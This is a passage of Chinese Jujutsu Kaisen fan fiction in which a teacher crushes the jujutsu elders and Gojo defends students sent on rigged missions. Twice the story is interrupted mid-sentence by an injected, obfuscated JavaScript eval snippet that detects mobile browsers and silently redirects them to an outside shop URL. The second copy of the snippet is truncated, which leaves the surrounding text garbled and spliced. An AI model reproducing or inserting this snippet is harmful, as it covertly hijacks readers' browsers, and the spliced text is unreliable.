胳膊被戳了戳,熊猫看向旁边的狗卷棘,突然疑惑道:“棘你刚刚是不是说话了?” “没有哦,”另一边响起否定回答,“是你可爱的五条老师在回答啊,熊猫你居然连你最敬爱的五条老师的声音都听不出来了吗?老师对此感到万分的伤心,起码需要三十个毛豆生奶油大福才能治好~” 熊猫顿时和狗卷棘一起露出了死鱼眼,回头看向半蹲在身边的五条悟,抬爪指了指操场,“悟,不用管管吗?绯月老师快把真希玩死了。” “管什么?”五条悟笑眯眯的,“要是被教训一顿能让她学会悬崖勒马,那不是很好吗?” “可我觉得真希学不会啊!” “那就看她抗压能力了。”五条悟在胸前划了个十字。 又一次被过肩摔在地上后,真希撑着爬起来,左臂不自然地垂着——脱臼了。她咬牙用右手一推一拉,“咔”地接了回去,再次摆出起手势。 远处的夕阳已经沉到山尖,启明星在天边亮起。 绯月畏拍了拍肩上不存在的灰尘,手中书籍翻到最后一页。 “禅院真希,十分钟,你让狗卷棘因你的失误下场;二十分钟,熊猫因你的失控重伤;三十分钟,你自己四肢关节错位七次。” 她抬起头,夕阳余晖从身后照来,在操场拉出长长的影子。 “你太自负了,太以自我为中心。你学不会合作、看不懂队友、更不懂得什么叫收手。”绯月畏歪了下头,像在观察什么有趣的东西,“告诉我,刚才你在想什么?怎么赢我?还是怎么让我颜面尽失,从此见到你绕着走,好证明你比我强?证明你跨越了‘师生’这道阶级,成为了你梦想中的‘强者’?” 真希脸色瞬间惨白。 “这里是学校,”绯月畏转身,走向场边,“你在跟谁比较?” 她路过五条悟时,后者笑着挥挥手。两人并肩离开操场,留下真希一个人站在原地。 熊猫和狗卷棘对视一眼,小心翼翼走过去。 许久,真希抬起头,声音沙哑:“我错了吗?” 熊猫挠挠头:“我不知道……但悟说,你要是学会了‘悬崖勒马’,会更好。所以,应该是错了吧?” 真希没说话,只是盯着自己颤抖的手。 ——## 食堂里人不多。绯月畏打了简单的饭菜,坐在角落,书放在手边。五条悟端着堆成山的餐盘坐到她对面。 “总监部那群老家伙,”五条悟一边往嘴里塞大福一边说,“要见你。关于昨天那件事。” 绯月畏夹起一块鱼肉:“哪件事?” “就是你闯进某位高层的宅院,把人家房子拆了,顺便让那位高层‘意外身亡’的事。”五条悟说得轻描淡写,“他们开了紧急会议,决定传唤你‘说明情况’。” “不去。”绯月畏说。 “就知道你会这么说。”五条悟笑了,“不过这次阵仗挺大的,七个常任理事都到了,在京都的老宅那边等着。说是如果你不去,就要启动特级咒术师违纪审查程序。” 绯月畏放下筷子,看向五条悟。 五条悟举起双手:“别看我,我只是传话的。不过我个人建议你还是去一趟——不然他们真启动程序,后续麻烦事更多。” 绯月畏沉默片刻,端起餐盘起身。 “诶,这就去?”五条悟问。 “早点解决,早点回来睡觉。” 从食堂出来时,只有熊猫和狗卷棘结伴而行。五条悟上前搭话,绯月畏则低头看书从他们面前走过,径直走向校门口。 等五条悟慢悠悠晃到校门口时,只看到站在车边的伊地知洁高。 “绯月老师呢?” 伊地知脸色纠结:“那位大人……问了目的地后就消失了。怎么消失的,我完全没看出来。” 五条悟笑了:“希望等我赶到的时候,总监部还有一张完好的桌子吧。” 他钻进车里:“伊地知,开车。” “是!” ——## 京都郊区,传统建筑群。 当绯月畏出现在庭院门口时,她左手依然托着那本厚书。月光照在白色封面上,反射出冷冽的光。 眼前的建筑群保持着完整——至少在表面上是这样。但绯月畏能感觉到,里面至少有二十道以上的视线正透过屏风和格窗盯着她。 她不喜欢这样。 于是她抬手,对着主屋的方向虚虚一抓。 “轰——!!!” 整面墙被无形的力量撕开,木屑、纸片、瓦砾纷飞。屏风后的七个人还没来得及反应,就被一股力量从座位上拽起,穿过破损的墙体,扔到了庭院里。 他们摔在地上,和服凌乱,满脸惊愕。 绯月畏走过去,目光扫过庭院,停在那棵百年樱花树上。她伸手一推,树缓缓倒下,然后在半空中被无形的力量削切、打磨,变成了一个平整的树墩。 她坐了上去,顺手从最近的一个老者身上扯下羽织,垫在身下。 书依然托在左手。 “好了,”绯月畏说,“现在可以面对面说话了。谁先来?” 七个老者从地上爬起来,脸色铁青。为首的秃顶老者——总监部常任理事之一的山本——颤抖着手指着她:“你、你竟敢……” “我竟敢什么?”绯月畏翻开书,“把你们从躲藏的地方拉出来?还是毁了这栋房子?” 她抬眼:“如果是前者,我只是觉得面对面说话比较有效率。如果是后者——这又不是我的房子,我为什么要心疼?” “狂妄!”另一个老妪嘶声道,“绯月畏,你昨日擅闯私人宅邸,毁坏建筑,导致屋主身亡!此事你作何解释?!” “解释什么?”绯月畏问,“我去了,房子塌了,人死了——这三件事需要什么解释?” “你承认是你做的了?!”山本眼中闪过厉色。 “我承认我去了。”绯月畏纠正,“至于房子为什么塌,人为什么死……也许是因为房子太老,也许是因为人太该死。谁知道呢。” “现场有目击者报告了你的行踪!”一个中年高层上前一步,“时间、地点、外貌特征全都吻合!你还想抵赖?!” “所以呢?”绯月畏合上书,“有人看见我去了,就能证明房子是我弄塌的?人是我弄死的?这是什么逻辑?” 她顿了顿:“而且,就算是我弄塌的,又怎样?那栋房子是那位高层用贪污的经费建的,我拆了贪污的赃物,有问题吗?” 庭院里一片死寂。 “你……你有什么证据……”山本的声音开始发虚。 绯月畏墨镜下的唇角勾了下,“你猜?” 月色初上时,五条悟抵达了总监部惯用的会议地点——京都郊区的一处传统建筑群。 然后他笑出了声。 别说完好的桌子,整片建筑连一扇完整的门都没有了。主屋的屋顶塌了一半,拉门碎成木屑,庭院里的百年樱花树被连根拔起,横躺在碎石路上。 唯一完好的东西是个树墩——被粗暴地削成了凳子形状,上面还垫着件黑色羽织。 绯月畏坐在树墩上,单手托腮,另一只手把玩着一块碎裂的匾额残片。她面前,十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485868|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个总监部高层挤在院子里,个个衣衫不整、脸色铁青。 五条悟走近时,听见了对话。 “你想要什么?!”一个秃顶老者嘶声道,他是总监部的常任理事之一,平时在屏风后发号施令,此刻却狼狈地坐在地上,和服下摆沾满泥土。 绯月畏没看他,而是望向人群中一个穿深紫色和服的老妪:“我听说你们开了个关于我的批斗会?主题是‘特级咒术师绯月畏的越权行为及处置方案’?” 老妪脸色一变:“总监部是整个咒术界最高机构!你的行为已经触犯多条戒律,按律当——” “当什么?”绯月畏打断她,指尖轻弹,匾额碎片擦着老妪耳边飞过,钉在她身后的柱子上,“把我定为诅咒师?然后呢?派谁来执行?你吗?” 人群中一个中年男人忍无可忍,上前一步:“绯月畏!你不要太嚣张!接受了咒术师的等级评定,就要遵守咒术界的规矩!总监部的权威不容挑衅!” “规矩?”绯月畏终于正眼看他,墨镜后的目光像刀,“拿公元前的制度,用上世纪的法案,要求我遵守你们这群烂橘子定下的农场主规则?没人教过你们,人老就该退位,无能就该闭嘴吗?” “你——!” “我什么?”绯月畏站起身。 仅仅是一个起身的动作,磅礴的咒力如山崩般倾泻。庭院里的碎石开始震颤,残存的屋檐发出呻吟,空气变得粘稠如泥沼。 十几个高层同时闷哼,修为稍弱的已经跪倒在地,连呼吸都困难。 “你们是不是忘了,”绯月畏一步步走向他们,脚步声在死寂的庭院里格外清晰,“特级之所以是特级,不是因为你们盖了个章,而是因为我们能轻易做到你们做不到的事——比如,让总监部换一批人。” 最前面的秃顶老者冷汗涔涔:“你……你敢……” “我为什么不敢?”绯月畏在他面前停下,俯身,“你们派去‘请’我的人,没告诉你们吗?我不喜欢被安排。” 她直起身,扫视所有人:“现在,我们来谈谈特级咒术师的实际权限问题。第一个议题:为什么我一个月前提交的调阅申请,至今没有回音?” 人群中一个戴圆眼镜的老者颤声说:“申请……什么申请?” “十年内所有咒术师的任务报告,归档副本。”绯月畏语气平静,“按照《咒术师管理条例》第七章第四条,特级咒术师拥有最高级调阅权限,申请应在七个工作日内处理完毕。现在已经过去三十个工作日,我的申请进度是‘待审核’。” 她顿了顿:“所以,是谁在审核?还是说,整个总监部上层其实都是尸体,需要我帮你们确认一下?” 没人说话。 “不回答?”绯月畏点点头,“那我就当你们都死了。不小心给你们挖出来了真不好意思,现在就给你们埋回去。” 她抬手。 “等等!”一个沙哑的声音响起。 人群分开,一个坐在轮椅上的老人被推了出来。他瘦得皮包骨头,但眼睛很亮,是那种久居上位者的锐利。总监部真正的掌权者之一,百舌鸟隆正。 “申请是我扣下的。”百舌鸟缓缓说,“十年内的任务报告涉及太多机密,不能随意调阅。” “所以条例是摆设?” “条例是为人服务的。”百舌鸟盯着她,“绯月特级,你刚获得评级不久,我们需要评估你是否值得信任。” “评估?”绯月畏笑了,“谁评估?你吗?一个咒力枯竭、连三级咒灵都对付不了的老人,评估我?” 百舌鸟脸色一沉。 “我来告诉你什么是评估,”绯月畏走到他面前,弯下腰,声音轻得像耳语,“我评估你们这群人,尸位素餐、固步自封、为了权力可以牺牲任何人。我评估这个制度,腐朽、落后、迟早把咒术界拖进坟墓。” 她直起身,声音传遍庭院:“而我的评估结果是——你们不配坐在这个位置上。” “狂妄!”一个年轻些的高层忍不住吼道,“你不过是个新晋特级,真以为能为所欲为吗?!” 绯月畏看向他。 下一秒,那个高层整个人被无形力量扼住喉咙,提到半空。他拼命挣扎,脸色涨红,咒力像破气球一样泄出。 “我当然能为所欲为,”绯月畏说,“因为我能,而你们不能。这就是现实。” 她松手,高层摔在地上,抽搐两下后直接没了动静。 场面陷入寂静。 “绯月特级,”百舌鸟缓缓说,“你很强,这我们都知道。但咒术界不是只靠力量就能运转的。制度、规矩、传承……这些同样重要。” “重要的制度会让无能者尸位素餐?”绯月畏反问,“重要的规矩会让无辜者枉死?重要的传承就是一代代培养出你们这样的老古董?” 百舌鸟脸色阴沉:“年轻气盛可以理解,但——” “但什么?”绯月畏打断他,“但我要学会妥协?学会像你们一样,明明有能力改变,却选择维持现状,因为这样最‘安全’?” 她站起身,书在手中轻轻敲击掌心。 “我来告诉你们什么是安全。”绯月畏说,“安全不是躲在屏风后面发号施令,安全不是用别人的命换自己的权位,安全更不是抱着千年前的制度当救命稻草。” 她环视在场的七个人。 “真正的安全,是让有能力的人站在该站的位置,让该被清理的垃圾进焚化炉,让咒术界不再每年因为内耗而损失人才。” 绯月畏从怀中取出一份文件,丢在地上。 “《特级咒术师特权确认书》。签了它,承认特级在紧急状况下的临机决断权、对一级以下任务的直接指派权、对总监部决议的一票暂缓权——一共十三条。” 她顿了顿:“签了,今天的事到此为止。不签……” 庭院里的碎石开始震颤。 “……我就自己拿。” 百舌鸟盯着那份文件,良久,叹了口气。 “给她笔。” “大人!”有人想反对。 百舌鸟抬手制止:“你们谁有把握,今天能留下她?或者,谁有把握,她不会真的动手‘清理’?” 无人应答。 五条悟这时候才笑嘻嘻地走出来:“哎呀,看来我来得正是时候?要签文件吗?我带了高清摄像机哦,可以全程录像~” 看戏看得兴起的五条悟从后方钻出来,给了众高层好大一个“惊喜”。 “五条悟!”山本像是抓住了救命稻草,“你来得正好!你看看她做的好事!作为咒术界的一员,你难道要坐视不管吗?!” 五条悟歪头:“管什么?我觉得这房子拆得挺好啊,采光都变好了~” “你——!” “好了好了,”五条悟拍拍手,“说正事。听说你们要启动特级违纪审查程序?来,跟我说说,你们打算怎么审?谁去审?审完之后怎么罚?” 他一个个看过去:“你?你?还是你?” 没人敢接话。 “看吧,你们自己都知道这是不可能的事。”五条悟摊手,“所以不如实际点——对了,我可以当见证人哦~保证签字过程绝对公正、公开、有录像~” 两小时后,文件签署完毕。 《特级咒术师特权确认书》厚达十七页,详细规定了特级在紧急状况下的临机决断权、对一级以下任务的直接指派权、对总监部决议的一票暂缓权等十三条特权。 每一条都以束缚的形式固定,签署者不得违背。 高层们一个个按上手印,脸色灰败得像死了亲人。百舌鸟是最后一个签的,他盯着绯月畏:“你会毁了咒术界。” “不,”绯月畏收起文件,“我会救它。从你们手里。” 她转身准备离开,突然又停下,从口袋里掏出一个信封,随手丢在地上。 “对了,差点忘了。这是前田理事和佐藤常任贪污、篡改任务报告、排除异己的证据复印件。原件我已经送到检察厅了。” 全场死寂。 那个之前吼过绯月畏的年轻高层颤抖着问:“你……你有证据,为什么不早拿出来?!” 绯月畏回头,微微一笑:“早拿出来,你们怎么会乖乖签字呢?” 她走了两步,又补充:“哦,这两人已经‘意外身亡’了。昨天一个,今天一个。真是巧合,对吧?” 没人敢接话。 “对了,”她走到门口时回头,“我一个月前提交的调阅申请,明天早上送到高专。迟一分钟,我就来收一分钟的利息。” “利息……是什么?”有人颤抖着问。 绯月畏笑了笑:“你们不会想知道的。” 她和五条悟并肩离开,消失在夜色中。 庭院里,七个老者看着被拆了一半的主屋,许久没有人说话。 天快亮时,绯月畏回到了高专教师办公室。 五条悟跟在她身后,手里抛着那个存了录像的硬盘。 “十三条特权,”五条悟说,“你这是要把总监部架在火上烤啊。” “他们早该被烤了。”绯月畏坐下,终于把那本书放在桌上,“一群占着位置不干事的废物。” 五条悟笑了:“不过说真的,你今天对真希说的那些话……她会听进去吗?” 绯月畏看向窗外渐亮的天色:“她是你的学生,你不该问我。” 晨光透过窗户照进来,落在桌上的那本书上。 封面上烫金的标题在光中微微发亮: 《论个体在集体中的定位与自我超越》。 新的一天开始了。 21. 别动我的学生 条约签署后的第七天,报复来了。 只不过这报复的方式,多少带着点怂。 五条悟看着手机上那份措辞严厉的处罚通知——要求他在三个工作日内提交五千字检讨,深刻反省自己在总监部事件中的“不当行为”——在讲台上笑了整整五分钟,笑得一年级三人组面面相觑。 “老师这是……气疯了?”熊猫小声问。 “木鱼花……”(不像)狗卷棘摇头。 真希盯着五条悟,突然说:“他是觉得这惩罚太轻了,轻到可笑。” 果然,五条悟笑够了,把手机往讲台上一扔:“同学们,告诉你们一个好消息!老师我因为帮助同事争取合法权益,被罚写检讨啦!” 台下死一般的寂静。 “哇,你们都不为我感到愤怒吗?”五条悟夸张地捂住胸口,“这可是赤裸裸的迫害!是强权对正义的打压!” 熊猫举手:“悟,你要写吗?” “写啊,当然写。”五条悟咧嘴一笑,“我要写一份前无古人后无来者的检讨书,让那些老橘子看完后恨不得从来没罚过我。” 下课铃响时,三个人的手机同时震动。 三条任务信息,分别发往三个不同的偏远地区:青森县的废弃医院、四国山区的古村落、长崎外海的孤岛。任务等级都是二级,但备注里都带着“情况不明,建议谨慎处理”的字样。 三个人凑在一起核对信息,脸色都不太好看。 “这时间掐得真准。”真希冷笑,“刚签完条约,就拿我们开刀?” 熊猫挠头:“可是为什么不直接针对绯月老师或者悟?找我们这些学生麻烦算什么本事?” “因为他们动不了那两个人。”真希收起手机,“所以只能从我们身上找突破口。如果我们出事了,要么证明学校保护不力,要么逼那两个人妥协。” 狗卷棘拉高衣领:“鲑鱼子。”(同意) “那我们去不去?”熊猫问。 “去。”真希站起身,“为什么不去?正好试试最近学的东西。而且——” 她看向窗外,操场上空无一人。 “如果这真是试探,那就让他们看看,高专的学生没那么好拿捏。” ——## 青森县的废弃医院,熊猫站在生锈的铁门外,看着辅助监督额头上不断冒出的冷汗。 “那个……熊猫同学,这里面的咒灵可能有点特殊……”辅助监督擦着汗,“要不我们再等一等支援?” 熊猫毛茸茸的耳朵动了动。他闻到了领域的气息——虽然残缺不全,但确实是领域。二级咒灵不可能有领域,除非这根本不是二级。 他看了眼手机,信号格空了一格。 “我打个电话。”熊猫说。 辅助监督脸色一变:“按规定,任务期间不能……” 熊猫已经拨通了号码,还体贴地开了免提。 “摩西摩西~这里是宇宙无敌超级帅气的五条老师,请问熊猫同学有什么需要帮助的吗?”轻快的声音从听筒里传来。 辅助监督的脸瞬间白了。 “悟,我在青森县立医院旧址,这里有个带残缺领域的咒灵,评级肯定不对。”熊猫顿了顿,“还有,辅助监督好像很紧张,一直在出汗。” 电话那头沉默了两秒。 然后五条悟笑了。 “知道了。待在原地别进去,我三分钟到。” 电话挂断。熊猫看向辅助监督,后者已经瘫坐在地上,嘴唇哆嗦着说不出话。 两分四十七秒后,五条悟从天而降,白色的头发在夜风中扬起。他甚至没看辅助监督,直接走到医院门口,抬手,指尖凝聚出微小的苍。 “等等,”熊猫说,“里面可能还有病人记录什么的……” “早就搬空了。”五条悟歪头,“而且,这种明显是陷阱的地方,留着干什么?” 他打了个响指。 苍无声地膨胀、收缩,整栋医院大楼像被无形的手捏碎的饼干,在绝对的寂静中化作齑粉。领域的气息消失了,连带着那个咒灵一起。 五条悟转身,走到辅助监督面前蹲下。 “谁让你来的?” 辅助监督浑身发抖:“我、我不知道……我只是接到任务……” “任务是谁发的?” “窗、窗的常规分配……” 五条悟盯着他看了几秒,然后站起身:“行。回去告诉派你来的人,下次再玩这种把戏,我亲自去总监部喝茶。” 他拍了拍熊猫的肩膀:“走吧,送你去车站。真希和棘那边估计也有状况。” #——# 横滨港口,集装箱堆场。 真希看着面前三个穿着黑西装的“窗”的成员,又看了看他们身后那个散发着不祥气息的货柜,冷笑一声。 “二级咒灵?你们当我瞎?” 为首的男人推了推眼镜:“禅院同学,这是总监部直接下达的任务,请你配合。” “配合什么?配合你们把我骗过来喂咒灵?”真希握紧手中的咒具——一根临时找来的钢管,“我再说一次,把真实情况告诉我,不然别怪我动手。” 气氛剑拔弩张。 然后五条悟的声音从头顶传来:“哇哦,三对一?你们要不要脸啊?” 四个人同时抬头。五条悟坐在集装箱顶端,晃着腿,墨镜滑到鼻尖,露出那双苍天之瞳。 “五、五条先生……”三个男人同时后退。 五条悟跳下来,落在真希身边:“说说,怎么回事?” 真希把事情说了一遍。五条悟听完,走到货柜前,伸手敲了敲柜门。 “咚咚。” 柜门内侧传来密集的抓挠声。 “这不是二级。”五条悟说,“这是一级巅峰,快摸到特级门槛了。而且不止一只,还有一窝二级的杂碎。” 他转头看向那三个男人:“谁派你们来的?” 没人回答。 五条悟叹了口气,抬手,一发赫擦着三人的头皮飞过,轰碎了他们身后的集装箱。冲击波把三人掀翻在地,等他们爬起来时,货柜已经被无形的力量撕开,里面的咒灵在苍蓝色的光芒中灰飞烟灭。 “我不喜欢问第三遍。”五条悟说,“谁派你们来的?” “……是、是山本理事……”其中一人崩溃了,“他说只要把禅院真希引到这里,让她‘意外’受伤或者……我们就都能升职……” 真希脸色铁青。 五条悟却笑了,笑得让人毛骨悚然。 “很好。回去告诉山本,我记住了。” 他拎起真希的衣领:“走了,还有最后一个。” #——# 东京别墅区,深夜。 狗卷棘看着面前缓缓升起的帐,又看了看旁边脸色苍白的伊地知洁高。 [伊地知先生,]狗卷棘拉下袖口,用手机打字:[这里面真的只有二级?] 伊地知擦着汗:“窗、窗的报告是这么说的……但是狗卷同学,如果你觉得不对劲,我们可以申请重新评估……” [不用了。]狗卷棘说,[我进去看看。] “可是——” “木鱼花。”(没事) 狗卷棘走进帐中。伊地知看着他的背影消失,焦虑地来回踱步。几分钟后,他猛地转身,掏出手机想打电话,却发现信号被屏蔽了。 帐有信号屏蔽功能,这很正常。但这个任务地点在东京市区,按理说不该开启这个功能…… 伊地知脸色一变,冲向车辆想取备用通讯设备。就在这时,他听见身后传来懒洋洋的声音: “哟,伊地知,加班呢?” 五条悟和真希从天而降。真希落地时一个踉跄——她是被拎着飞过来的,还没适应。 “五、五条先生!”伊地知如蒙大赦,“狗卷同学进去了!这个帐不对劲,屏蔽了信号,而且……” 他顿了顿,压低声音:“窗的报告可能有问题。我查了这栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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电话突然中断。山本愣了愣,然后听见书房窗外传来敲击声。 “咚咚。” 他猛地转头,看见五条悟飘在窗外,隔着玻璃对他笑。那笑容里没有一丝温度。 窗户无声地碎裂,五条悟走进来,踩着一地玻璃碴。 “山本理事,晚上好啊。”五条悟说,“这么晚了还不睡,是在等任务结果吗?” “五、五条悟!你竟敢擅闯——” “我竟敢什么?”五条悟走到他面前,居高临下地看着他,“擅闯民宅?对,我闯了。你要报警吗?还是叫总监部的护卫?” 他弯腰,凑近山本耳边,轻声说:“我提醒过你的,别碰我的学生。” “那是正常的任务分配!”山本强作镇定,“每个咒术师都要执行任务,这是规矩!” “哦,规矩。”五条悟直起身,“那我也按规矩来。” 他抬手,指尖凝聚出一颗小小的苍。苍缓缓旋转,散发着毁灭的气息。 “你知道这是什么吗?”五条悟问。 山本冷汗直流。 “这是‘不小心’。”五条悟说,“我不小心迷路了,不小心飞到你房子上空,不小心手滑了,然后——” 苍脱手飞出,穿过墙壁,在宅邸后院的空地上炸开一个直径十米的坑。冲击波震碎了所有窗户,整栋房子都在摇晃。 “——不小心把你的后院炸了。”五条悟拍拍手,“抱歉啊,我会赔钱的。至于检讨书,我明天就交。” 他走到窗边,回头看了一眼瘫坐在椅子上的山本。 “哦对了,再告诉你一件事。”五条悟说,“绯月老师根本不在乎学生死活。你拿学生威胁她,只会惹到我。而惹到我——” 他笑了。 “后果很严重。” 五条悟消失了。山本坐在一片狼藉的书房里,许久没动。